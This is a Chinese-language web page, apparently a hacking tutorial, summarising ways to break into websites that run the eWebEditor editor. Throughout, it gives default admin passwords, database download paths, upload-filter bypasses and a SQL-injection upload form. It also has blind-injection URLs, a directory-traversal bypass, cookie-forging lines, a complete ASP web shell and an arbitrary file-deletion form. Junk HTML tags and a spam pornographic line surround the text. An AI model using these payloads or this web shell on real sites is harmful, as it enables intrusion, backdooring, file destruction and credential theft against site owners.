<span id="pjfpp"><nobr id="pjfpp"><th id="pjfpp"></th></nobr></span>

<noframes id="pjfpp"><address id="pjfpp"></address><address id="pjfpp"><form id="pjfpp"><listing id="pjfpp"></listing></form></address>

<address id="pjfpp"></address>

<sub id="pjfpp"><listing id="pjfpp"><mark id="pjfpp"></mark></listing></sub>

<address id="pjfpp"><nobr id="pjfpp"><meter id="pjfpp"></meter></nobr></address><form id="pjfpp"><listing id="pjfpp"></listing></form>

    萬維網絡是《大慶市房地產、裝修、婚慶行業協會》指定網站建設服務公司

    ewebeditor漏洞利用總結


    ewebeditor漏洞利用總結
         先從最基本的記錄起!通常入侵ewebeditor編輯器的步驟如下:
    1、首先訪問默認管理頁看是否存在。
            默認管理頁地址2.80以前為 ewebeditor/admin_login.asp 以后版本為admin/login.asp (各種語言的大家自己改后綴,本文就以asp來進行說明,下面不再細說了!)
    2、默認管理帳號密碼!
            默認管理頁存在!我們就用帳號密碼登陸!默認帳號密碼為: admin admin888 !常用的密碼還有admin admin999 admin1 admin000 之類的。
    3、默認數據庫地址。
            如果密碼不是默認的。我們就訪問是不是默認數據庫!嘗試下載數據庫得到管理員密碼!管理員的帳號密碼,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密密碼?梢匀ww.cmd5.com www.xmd5.org 等網站進行查詢!暴力這活好久不干了!也可以丟國外一些可以跑密碼的網站去跑!
            默認數據庫路徑為: ewebeditor/db/ewebeditor.mdb 常用數據庫路徑為:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
            很多管理員常改.asp后綴,一般訪問.asp .asa 后綴的 都是亂碼!可以用下載工具下載下來,然后更改后綴為.mdb 來查看內容!
    4、說說漏洞基本利用步驟,還以asp為例!
            登陸后臺以后。選擇樣式管理,默認編輯器的默認樣式都不可以修改的。我們可以從任意樣式新建一個樣式,然后在圖片上傳添加可上傳后綴。.asa .cer .cdx 等!.asp 過濾過了。但是我們可以用.asaspp 后綴來添加,這樣上傳文件正好被ewebeditor 吃掉asp后綴,剩下.asp 呵呵!代碼不詳細說了?傊莻很可笑的過濾!同樣,如果遇到一個管理員有安全意識的,從代碼里,把.asp .asa .cer .cdx 都完全禁止了,我們也可以用.asasaa 后綴來突破。添加完了后綴,可以在樣式管理,點擊預覽,然后上傳!
    5、默認管理頁不存在!
            在實際入侵過程中,有很多默認的管理頁不存在的時候。我們可以直接訪問樣式管理頁面 ewebeditor/admin_style.asp 然后用第4步的方式拿********。如果樣式管理頁也不存在的話,我們可以看數據庫內的樣式表(ewebeditor_style)里面有沒有比我們先進去的朋友留下的樣式。然后構造上傳!具體url如下: eWebEditor/ewebeditor.asp?id=content&style=www 紅色部分是我們發現被修改添加了asa后綴的樣式名,大家自行修改!
    6、ewebeditor的幾個版本存在注入!
            ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
    添加驗證字符串,和管理員字段可以跑出管理員的md5加密密碼!
           ewebeditor v2.1.6存在注入,可以用union select 添加上傳后綴進行上傳!先貼漏洞利用方式!
    --------------------------------------------------------------------------------------------------------------
    <H3>ewebeditor asp版 2.1.6 上傳漏洞利用程序----</H3><br><br>
    <form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard’union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b’|cer’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name=’standard’and’a’=’a" method=post name=myform enctype="multipart/form-data">
    <input type=file name=uploadfile size=100><br><br>
    <input type=submit value=Fuck>
    </form>
    --------------------------------------------------------------------------------------------------------------
            以上代碼令存為html!修改紅色部分的路徑,然后自動上傳 .cer 文件!漏洞原因是因為sStyleName變量直接從style中讀取,并沒有過濾,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name為sStyleName的記錄,找不到就提示出錯!在sStyleName變量中用union來構造記錄,我們可以在sAllowExt中加入"|cer"、"|asa"等!
            另外還有一些版本的ewebeditor的upload.asp文件存在注入漏洞!貼幾個注入用的url!信息錯誤則返回腳本出錯的提示,在瀏覽器左下角!具體利用如下:
    ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1’and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20’1’=’1 
    注意修改紅色部分的字段名、位數、ascii碼的值!
    7、目錄遍歷漏洞!
            這里大概說一下!目錄遍歷漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!這個文件有的不需要登陸驗證,有些需要!很多有經驗的管理員會把編輯器的目錄設置為只讀權限,不可修改!這種情況下,唯一可以利用的也就是利用遍歷目錄功能查看網站文件,比如數據庫路徑、后臺地址、其他的上傳地址、最直觀的就是別人留下的小馬等等!這些都自由發揮了!說下漏洞利用方法!
            漏洞利用方式如下:在上傳文件管理頁面 隨便選擇一個上傳樣式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../.. 
    類似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到網站數據庫的路徑!
           另外一個遍歷目錄的漏洞文件是 ewebeditor/asp/browse.asp
    漏洞代碼為 :
    Function GetList() 
    Dim s_List, s_Url 
    s_List = "" 
    Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 
    ’Response.Write sCurrDir 
    ’On Error Resume Next 
    Set oFSO = Server.CreateObject("Scripting.FileSystemObject") 
    Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) 
    ’注意一下sCurrDir變量,這個值等下我們可以用到 
    If Err.Number>0 Then 
    s_List = "" 
    Exit Function 
    End If
    If sDir <> "" Then 
    If InstrRev(sDir, "/") > 1 Then 
    s_Url= Left(sDir, InstrRev(sDir, "/") - 1) 
    Else 
    s_Url = "" 
    End If
    s_List = s_List & "" & _ 
    "" & _ 
    ".." & _ 
    " " & _ 
    "" 
    End If 
    ’Response.Write sDir&"!"&s_List
    Dim oSubFolder 
    For Each oSubFolder In oUploadFolder.SubFolders 
    ’Response.Write oUploadFolder.SubFolders 
    If sDir = "" Then 
    s_Url = oSubFolder.Name 
    Else 
    s_Url = sDir & "/" & oSubFolder.Name 
    End If 
    s_List = s_List & "" & _ 
    "" & _ 
    "" & oSubFolder.Name & "" & _ 
    " " & _ 
    "" 
    Next 
    ’Response.Write s_List
    Set oUploadFiles = oUploadFolder.Files
    For Each oUploadFile In oUploadFiles 
    ’Response.Write oUploadFile.Name 
    sFileName = oUploadFile.Name 
    If CheckValidExt(sFileName) = True Then 
    ’這行讓人有點郁悶,檢測了所有允許的文件后綴,如不允許就無法列出,不然就不只列出目錄名和圖片文件了 
    If sDir = "" Then 
    s_Url = sContentPath & sFileName 
    Else 
    s_Url = sContentPath & sDir & "/" & sFileName 
    End If
    s_List = s_List & "" & _ 
    "" & FileName2Pic(sFileName) & "" & _ 
    "" & sFileName & "" & _ 
    "" & GetSizeUnit(oUploadFile.size) & "" & _ 
    "" 
    End If 
    Next 
    Set oUploadFolder = Nothing 
    Set oUploadFiles = Nothing 
    ’Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
    If sDir = "" Then 
    s_Url = "" 
    ’s_Url = "/" 
    Else 
    s_Url = "/" & sDir & "" 
    ’s_Url = "/" & sDir & "/" 
    End If
    s_List = s_List & "" 
    s_List = HTML2JS(s_List) 
    ’Response.Write Server.HTMLEncode(s_List)&"!"&s_Url 
    s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)" 
    GetList = s_List 
    End Function 
    ’如果沒有下面這步檢測的話,應該就可以列出目錄中所有的文件了,有點郁悶..現在只能列出允許后綴的文件和目錄名 
    Function CheckValidExt(s_FileName) 
    If sAllowExt = "" Then 
    CheckValidExt = True 
    Exit Function 
    End If
    Dim i, aExt, sExt 
    sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) 
    CheckValidExt = False 
    aExt = Split(LCase(sAllowExt), "|") 
    For i = 0 To UBound(aExt) 
    If aExt(i) = sExt Then 
    CheckValidExt = True 
    Exit Function 
    End If 
    Next 
    End Function 
    ’我們順著代碼往下找,發現sCurrDir的值是通過下面的值得到的 
    Sub InitParam() 
    sType = UCase(Trim(Request.QueryString("type"))) 
    sStyleName = Trim(Request.QueryString("style"))
    Dim i, aStyleConfig, bValidStyle 
    bValidStyle = False 
    For i = 1 To Ubound(aStyle) 
    aStyleConfig = Split(aStyle(i), "|||") 
    If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then 
    bValidStyle = True 
    Exit For 
    End If 
    Next
    If bValidStyle = False Then 
    OutScript("alert(’Invalid Style.’)") 
    End If
    sBaseUrl = aStyleConfig(19) 
    ’nAllowBrowse = CLng(aStyleConfig(43)) 
    nAllowBrowse = 1
    If nAllowBrowse <> 1 Then 
    OutScript("alert(’Do not allow browse!’)") 
    End If
    sUploadDir = aStyleConfig(3) 
    If Left(sUploadDir, 1) <> "/" Then 
    Select Case sType 
    Case "REMOTE" 
    sUploadDir = "../../" & sUploadDir & "Image/" 
    Case "FILE" 
    sUploadDir = "../../" & sUploadDir & "Other/" 
    Case "MEDIA" 
    sUploadDir = "../../" & sUploadDir & "Media/" 
    Case "FLASH" 
    sUploadDir = "../../" & sUploadDir & "Flash/" 
    Case Else 
    sUploadDir = "../../" & sUploadDir & "Image/" 
    End Select 
    End If 
    ’sUploadDir =sUploadDir &"/"
    Select Case sBaseUrl 
    Case "0" 
    ’sContentPath = aStyleConfig(23) 
    Select Case sType 
    Case "REMOTE" 
    sContentPath = "../" & aStyleConfig(3) & "Image/" 
    Case "FILE" 
    sContentPath = "../" & aStyleConfig(3) & "Other/" 
    Case "MEDIA" 
    sContentPath = "../" & aStyleConfig(3) & "Media/" 
    Case "FLASH" 
    sContentPath = "../" & aStyleConfig(3) & "Flash/" 
    Case Else 
    sContentPath = "../" & aStyleConfig(3) & "Image/" 
    End Select 
    Case "1" 
    sContentPath = RelativePath2RootPath(sUploadDir) 
    Case "2" 
    sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) 
    End Select
    Select Case sType 
    Case "REMOTE" 
    sAllowExt = aStyleConfig(10) 
    Case "FILE" 
    sAllowExt = aStyleConfig(6) 
    Case "MEDIA" 
    sAllowExt = aStyleConfig(9) 
    Case "FLASH" 
    sAllowExt = aStyleConfig(7) 
    Case Else 
    sAllowExt = aStyleConfig(8) 
    End Select
    sCurrDir = sUploadDir ’注意這里,這個是得到了配置的路徑地址 
    sDir = Trim(Request("dir")) ’得到dir變量 
    sDir = Replace(sDir, "\", "/") ’對dir變量進行過濾 
    sDir = Replace(sDir, "../", "") 
    sDir = Replace(sDir, "./", "") 
    If sDir <> "" Then 
    If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
    sCurrDir = sUploadDir & sDir & "/" 
    ’重點就在這里了,看到沒有,當sUploadDir & sDir存在的時候,sCurrDir就為sUploadDir & sDir的值了 
    ’雖然上面對sDir進行了過濾,不過我們完全可以跳過.具體利用下面的利用中給出 
    Else 
    sDir = "" 
    End If 
    End If
    End Sub
    利用方式如下:
    http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
    這樣子就可以看到admin的內容了。構造特殊的dir繞過上面的驗證!頁面空白的時候查看源代碼,就可以看到目錄列表了! 
    8、session欺騙漏洞!
            適用于一些設置不當的虛擬主機。當旁注得到一個********,而目標站存在ewebeditor卻不能找到密碼的時候可以嘗試欺騙進入后臺!順序如下: 
              新建一個.asp文件,內容如下: <%Session("eWebEditor_User") = "123132323"%> 然后訪問這個文件,再訪問ewebeditor/admin_default.asp !欺騙進入后臺!不過很老了!
    9、 后臺跳過認證漏洞!
            訪問后臺登陸頁面!隨便輸入帳號密碼,返回錯誤!然后清空瀏覽器,在地址欄輸入
    javascript:alert(document.cookie="adminuser="+escape("admin")); 
    javascript:alert(document.cookie="adminpass="+escape("admin")); 
    javascript:alert(document.cookie="admindj="+escape("1"));
             然后再清空地址欄,在路徑里輸入后臺登陸后的頁面,比如: admin_default.asp admin/default.asp 等。直接進入后臺,利用方式見上文!
    10、利用遠程上傳功能!
            比如s_full樣式就存在這個功能,打開編輯頁面,然后圖片,選擇輸入url 比如:/lpz_editor/UploadFile/2010-6/23/201062301552172.gif.asp ! 然后選擇上傳遠程文件!自動就把1.gif.asp 保存在上傳目錄內!注:網上的東西大部分傳來傳去,這個辦法愚弄自己還成!文件的確顯示后綴為.asp 但是不能訪問,因為收集過來的時候自動截止在1.gif了所以后面的.asp等于沒有!而且gif的內容就是我們這個url的路徑!呵呵,后來又看到一個利用方式!是利用遠程搜集的時候執行,我們文件的代碼生成另外的小馬!
            利用代碼如下:
    首先建立1.gif.asp 代碼如下
    <%
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
    Thetext=MyTextStream.ReadAll
    response.write thetext
    %>
    在我們的1.gif.asp的同目錄下建立一個akteam.asp文件,內容就是我們的小馬:
    <%on error resume next%>
    <%ofso="scripting.filesystemobject"%>
    <%set fso=server.createobject(ofso)%>
    <%path=request("path")%>
    <%if path<>"" then%>
    <%data=request("dama")%>
    <%set dama=fso.createtextfile(path,true)%>
    <%dama.write data%>
    <%if err=0 then%>
    <%="success"%>
    <%else%>
    <%="false"%>
    <%end if%>
    <%err.clear%>
    <%end if%>
    <%dama.close%>
    <%set dama=nothing%>
    <%set fos=nothing%>
    <%="<form action=’’ method=post>"%>
    <%="<input type=text name=path>"%>
    <%="<br>"%>
    <%=server.mappath(request.servervariables("script_name"))%>
    <%="<br>"%>
    <%=""%>
    <%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
    <%="<br>"%>
    <%="<input type=submit value=save>"%>
    <%="</form>"%>
    利用上面說的遠程上傳的方式!可以得到********!成功率取決于,虛擬主機的安全設置!
    11、任意文件刪除漏洞!
            此漏洞存在于Example\NewsSystem目錄下的delete.asp文件中,這是ewebeditor的測試頁面,無須登陸可以直接進入!看代碼
    ’ 把帶"|"的字符串轉為數組
    Dim aSavePathFileName
    aSavePathFileName = Split(sSavePathFileName, "|")
    ’ 刪除新聞相關的文件,從文件夾中
    Dim i
    For i = 0 To UBound(aSavePathFileName)
    ’ 按路徑文件名刪除文件
    Call DoDelFile(aSavePathFileName(i))
    Next
    而aSavePathFileName是前面從數據庫取出來的:
    sSavePathFileName = oRs("D_SavePathFileName")
    看看D_SavePathFileName是怎么添加到數據庫里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
    ...
    oRs("D_SavePathFileName") = sSavePathFileName
    居然過濾了,是GetSafeStr函數,再看看這個函數,在Startup.asp里:
    Function GetSafeStr(str)
    GetSafeStr = Replace(Replace(Replace(Trim(str), "’", ""), Chr(34), ""), ";", "")
    End Function
            既然路徑沒有過濾,那就可以直接定義了,構造一個提交頁面,其中d_savepathfilename自己任意賦值(要刪除多個文件,用|隔開即可)。試試../../eWebEditor.asp,提交后刪除該新聞,于是主目錄下的eWebEditor.asp不見了!漏洞利用:
    <HTML><HEAD><TITLE>eWebEditor刪除文件 byldjun(>
    新聞列表%20|%20增加新聞
    增加新聞
    http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" 
    method="post" name="myform">
        <input type=hidden name=d_originalfilename>
        <input type=hidden name=d_savefilename>
        <table cellspacing=3 align=center>
    <tr><td>要刪的文件(相對路徑就可以了):</td>
    <td><input type="text" name="d_savepathfilename" value="" size="90"></td>
    </tr>
    <tr><td>新聞標題(隨便填):</td>
    <td><input type="text" name="d_title" value="" size="90"></td>
    </tr>
    <tr><td>標題圖片:</td>
    <td><select name="d_picture" size=1><option value=’’>無</option></select>
    當編輯區有插入圖片時,將自動填充此下拉框</td>
    </tr>
    <tr><td>新聞內容(隨便填):</td>
    <td><textarea name="d_content"></textarea></td>
    </tr>
    </table>
    <input type=submit name=btnSubmit value=" 提 交 "> 
    <input type=reset name=btnReset value=" 重 填 ">
    </form>
    </BODY></HTML> 
    刪除文件漏洞一般是配合其他漏洞使用的,比如目錄遍歷
    <a href=’list.asp’>中的list.asp地址要修改
    <a href=’add.asp’>中的add.asp地址要修改
    <form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
    (http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)
            另外一個簡單利用方式:
    <form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post">
    <input type=hidden name=d_originalfilename value="x">
    <input type=hidden name=d_savefilename value="x">
    要刪除的文件(相對路徑,多個文件用“|”隔開)<br>
    <input type=text name=d_savepathfilename>
    <input type=hidden name="d_title" value="x">
    <input type=hidden name="d_picture" value="x">
    <textarea name="d_content">x</textarea>
    <input type=submit name=btnSubmit value="submit">
    </form>
    然后得到返回的新聞ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
            有幾個版本的ewebeditor 上傳類型是在 security.asp 文件控制的!直接刪除該文件可以上傳任意********! 
    12、其他!
            其他說點什么呢!以上的辦法都是本人經驗和網上搜集!暫時就想到這些了,以后想到了再補全!說說aspx php jsp版本的利用吧!
    ASPX版:
    受影響文件:eWebEditorNet/upload.aspx
    利用方法:添好本地的cer的Shell文件。在瀏覽器地址欄輸入javascript:lbtnUpload.click();就能得到shell。嘿嘿....繞過了限制......成功的上傳了ASPX文件....文件默認的上傳后保存的地址是eWebEditorNet/UploadFile/現在來看看是否上傳成功.....
    PHP版本:PhP版本和asp版本利用方式類似!不過php權限較高,不多廢話了!
    jsp版本:網上有很多jsp的版本,根本沒有對上傳文件類型進行檢測!需要注意的是jsp版本的沒有上傳按鈕!直接選擇文件,回車就可以提交了!
    在線客服 在線客服 付款方式 郵箱 關閉 高清性做爰免费视频无遮挡

    <span id="pjfpp"><nobr id="pjfpp"><th id="pjfpp"></th></nobr></span>

    <noframes id="pjfpp"><address id="pjfpp"></address><address id="pjfpp"><form id="pjfpp"><listing id="pjfpp"></listing></form></address>

    <address id="pjfpp"></address>

    <sub id="pjfpp"><listing id="pjfpp"><mark id="pjfpp"></mark></listing></sub>

    <address id="pjfpp"><nobr id="pjfpp"><meter id="pjfpp"></meter></nobr></address><form id="pjfpp"><listing id="pjfpp"></listing></form>